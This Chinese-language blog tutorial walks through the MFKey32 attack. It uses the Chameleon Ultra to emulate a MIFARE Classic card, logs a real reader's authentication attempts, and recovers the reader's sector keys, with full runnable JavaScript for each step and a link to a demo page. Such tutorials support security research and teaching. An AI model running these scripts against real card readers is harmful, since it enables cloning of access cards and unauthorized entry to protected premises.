iT邦幫忙

2024 iThome 鐵人賽

DAY 23
0

Day 23 MFKey32 攻擊

本文章的內容僅限學術及研究用途,請勿進行任何違法行為,否則後果自負。

MFKey32 是針對讀卡機的攻擊手法,這種攻擊手法是透過模擬卡片,並讓讀卡機使用金鑰進行認證至少 2 次。認證過程中模擬卡會傳送名為卡片挑戰的隨機數,並記錄讀卡機所傳送的回應。由於卡片挑戰是已知的,所以可以計算 keystream 並還原金鑰。由於攻擊過程需要與讀卡機互動,所以變色龍的大小相比 Proxmark3 有很大的優勢,不容易被發現。

進行 MFKey32 攻擊的流程為:

  1. 從想破解的卡片讀取卡號並用變色龍模擬 (需開啟偵測功能)
  2. 讓讀卡機讀取變色龍至少 2 次 (都會是認證失敗)
  3. 讀取變色龍中的讀卡機認證記錄
  4. 從認證記錄中計算金鑰
  5. 驗證計算出來的金鑰是否能夠讀取卡片

用變色龍模擬卡片的程式碼如下:

// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
  // 載入需要的常數
  const { Buffer, DeviceMode, FreqType, Mf1EmuWriteMode, Slot, TagType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
  const slot = Slot.SLOT_1 // 使用卡槽 1

  await ultra.cmdSlotChangeTagType(slot, TagType.MIFARE_1024) // 設定卡槽為 M1 卡片類型
  await ultra.cmdSlotResetTagType(slot, TagType.MIFARE_1024) // 重設卡槽資料
  await ultra.cmdSlotSetEnable(slot, FreqType.HF, true) // 啟用卡槽的高頻模擬
  await ultra.cmdSlotSetActive(slot) // 切換到指定的卡槽
  await ultra.cmdMf1SetAntiCollMode(false) // 設定卡槽使用額外設定的防碰撞資料
  await ultra.cmdMf1SetDetectionEnable(true) // 啟用卡槽的偵測功能
  await ultra.cmdMf1SetWriteMode(Mf1EmuWriteMode.NORMAL) // 設定卡槽的寫入模式

  // 關閉 Gen1A 和 Gen2 魔術卡模擬
  await ultra.cmdMf1SetGen1aMode(false)
  await ultra.cmdMf1SetGen2Mode(false)

  // 設定防碰撞資料
  await ultra.cmdHf14aSetAntiCollData({
    atqa: Buffer.from('0400', 'hex'),
    sak: Buffer.from('08', 'hex'),
    uid: Buffer.from('136d4a3d', 'hex'),
    ats: Buffer.from('', 'hex'),
  })

  // 由於 M1 卡片的製造商區塊也有卡號的資料,所以模擬時我們也要寫入 Block 0
  const block0 = Buffer.from('136d4a3d090804000000000000000000', 'hex')
  await ultra.cmdMf1EmuWriteBlock(0, block0)

  // 儲存設定並切換裝置模式
  await ultra.cmdSlotSaveSettings()
  await ultra.cmdChangeDeviceMode(DeviceMode.TAG)
})(vm.ultra)

執行結果如下:

模擬成功之後,我們就要讓讀卡機讀取變色龍至少 2 次。讀取之後,我們要把認證記錄讀出來並計算金鑰,程式碼如下:

// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
  const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
  const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/Crypto1/+esm')
  const logCnt = await ultra.cmdMf1GetDetectionCount() // 取得讀卡機認證記錄的數量
  console.log(`認證記錄數量 = ${logCnt}`)
  if (logCnt < 2) throw new Error('請讓讀卡機讀取變色龍至少 2 次來蒐集資料')

  const rawLogs = [] // 讀卡機認證記錄
  while (rawLogs.length < logCnt) rawLogs.push(...await ultra.cmdMf1GetDetectionLogs(rawLogs.length))
  console.log(`成功讀取到 ${rawLogs.length} 筆認證記錄`)
  console.log(rawLogs) // 顯示讀卡機認證記錄

  // 需要把認證記錄根據卡號、區段、及金鑰類型來分類
  const bufToHex = buf => buf?.toString('hex').toUpperCase()
  const blockToSector = block => block < 128 ? block >>> 2 : 24 + (block >>> 4)
  const logGroups = _.values(_.groupBy(rawLogs, log => `${bufToHex(log.uid)}-${blockToSector(log.block)}-${'AB'[+log.isKeyB]}`))
  console.log(logGroups) // 顯示分類後的讀卡機認證記錄

  // 加總需計算的記錄組合
  const logPairCnt = _.sumBy(logGroups, logs => logs.length * (logs.length - 1) / 2)
  console.log(`需計算的記錄組合數量 = ${logPairCnt}`)

  // 開始計算金鑰
  let keys = []
  for (const logs of logGroups) {
    for (let i = 0; i < logs.length; i++) {
      const log0 = logs[i]
      for (let j = i + 1; j < logs.length; j++) {
        const log1 = logs[j]
        try {
          // 將認證記錄兩兩組合來計算金鑰
          const bufKey = Crypto1.mfkey32v2({
            uid: log0.uid,
            ..._.mapKeys(_.pick(log0, ['nt', 'nr', 'ar']), (v, k) => `${k}0`),
            ..._.mapKeys(_.pick(log1, ['nt', 'nr', 'ar']), (v, k) => `${k}1`),
          })
          keys.push({
            block: log0.block,
            key: bufToHex(bufKey),
            keyType: 'AB'[+log0.isKeyB],
            sector: blockToSector(log0.block),
          })
        } catch (err) { console.log(err) }
      }
    }
  }
  keys = _.uniqWith(keys, _.isEqual)
  console.log(`計算出 ${keys.length} 個金鑰`)
  console.log(keys) // 顯示計算出來的金鑰
})(vm.ultra)

執行結果如下:

計算出讀卡機所使用的金鑰之後,我們就需要嘗試讀取卡片確認金鑰是否正確。請把卡片放到變色龍的正面,然後執行以下程式:

// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async (ultra) => {
  const { Buffer, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
  const block = 3
  const keyType = Mf1KeyType.KEY_A
  const key = Buffer.from('FFFFFFFFFFFF', 'hex') // 在此以 FFFFFFFFFFFF 作為示範
  const isAuth = await ultra.cmdMf1CheckBlockKey({ block, keyType, key })
  console.log(isAuth ? '金鑰正確' : '金鑰錯誤')
})(vm.ultra)

執行結果如下:

DEMO 網頁

均民有把這個攻擊手法寫成一個網頁,請用以 Chrome 為核心的瀏覽器 (如:Chrome、Microsoft Edge)或是 iPhone 的 Bluefy 來開啟以下的網址:

https://taichunmin.idv.tw/chameleon-ultra.js/mfkey32.html


上一篇
Day 22 M1 卡的 Darkside Attack
下一篇
Day 24 攔截通訊資料並進行 MFKey64 攻擊
系列文
免安裝!一起用 JS 來控制開源的 NFC 讀卡機變色龍吧!30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言